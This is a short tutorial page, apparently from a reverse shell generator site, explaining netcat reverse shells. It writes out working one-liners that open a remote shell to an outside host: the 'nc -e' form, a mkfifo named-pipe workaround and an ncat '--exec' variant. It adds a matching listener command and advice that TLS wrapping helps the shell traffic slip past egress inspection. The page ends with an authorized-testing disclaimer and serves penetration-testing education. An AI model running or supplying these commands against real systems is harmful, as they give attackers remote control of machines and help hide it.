Skip to content
reverseshell

Netcat Reverse Shell: When -e Is Missing and What to Do

How the netcat reverse shell works, why most modern nc builds dropped the -e flag, and the mkfifo and ncat alternatives that replace it.

Published on 3 min read

Netcat is the first tool everyone reaches for, and the one that most often disappoints. The textbook netcat reverse shell is short:

nc -e /bin/sh 10.0.0.1 443

Then you discover the target's nc does not have -e, and the lesson begins. This post covers the -e payload, why it so often fails, and the mkfifo and ncat replacements that work when it does.

The -e Flag, and Why It's Usually Gone

nc -e /bin/sh HOST PORT tells netcat to connect out and execute /bin/sh, wiring the program's stdin/stdout to the socket. Clean and simple — when it exists.

The problem: -e is a security liability, so the widely-deployed OpenBSD netcat (the default nc on most Linux distros today) removed it. Only the older GNU netcat and a few embedded builds still ship it. So on a modern target, nc -e typically errors with invalid option -- 'e' or just exits.

Check what you are dealing with:

nc -h 2>&1 | grep -- -e

No output means no -e, and you move to a fallback.

The mkfifo Fallback

This is the canonical replacement and works on virtually any POSIX system with nc:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 443 > /tmp/f

It rebuilds what -e did by hand. mkfifo creates a named pipe. cat /tmp/f feeds the pipe's contents into sh -i; the shell's output is piped into nc, which sends it to your listener; and nc's received data is written back into the pipe — closing the loop so your keystrokes reach the shell. It looks baroque, but it is just reconnecting the four ends that -e connected automatically.

Pick a path you can actually write to. /tmp is usually safe; if it is noexec or monitored, use another writable directory.

Use ncat Instead

ncat ships with Nmap and is the modern, feature-rich netcat. It kept --exec and adds TLS:

ncat 10.0.0.1 443 --ssl --exec "/bin/bash"

The --ssl flag matters more than it looks: it wraps the shell in TLS, so the traffic does not stand out as obvious plaintext shell I/O, and it traverses TLS-inspecting egress more naturally. Your listener then has to speak TLS too — ncat -lvnp 443 --ssl. Mismatched SSL on the two ends is a classic "it connected then immediately died" cause; see choosing a listener.

The Listener Side

Whatever payload you send, the receiving end is usually plain:

nc -lvnp 443

-l listen, -v verbose (so you see the connect), -n no DNS, -p port. Use ncat -lvnp 443 --ssl if the payload uses --ssl. And remember a bare nc listener gives you a raw, non-interactive shell — upgrade it with the steps in upgrading a reverse shell.

When It Still Won't Connect

  1. -e not supported — use the mkfifo or ncat form above.
  2. SSL mismatch — both ends must agree on --ssl.
  3. No writable path for the FIFO — pick a different directory.
  4. Egress filtered — prefer 443/80.

Full triage in why reverse shells fail.

Generate the Right Variant

The reverse shell generator emits the netcat form that matches the target — -e, mkfifo, or ncat --ssl — pre-filled with your LHOST/LPORT and paired with the correct listener command, so you are not guessing which netcat you are up against.

Authorized Testing Only

Run these only against systems you own or are explicitly authorized to test. Authorization, not technique, is what makes the work legitimate.

Related articles

How to pick a listener for authorized reverse shell testing, from netcat to ncat and socat, without overbuilding the lab.
A plain-English explanation of how reverse shells work, why they beat bind shells through firewalls, and how a reverse shell generator saves you from copy-paste mistakes.
The common bash reverse shell one-liners explained line by line, why they need bash (not sh), and how to fall back when /dev/tcp is missing.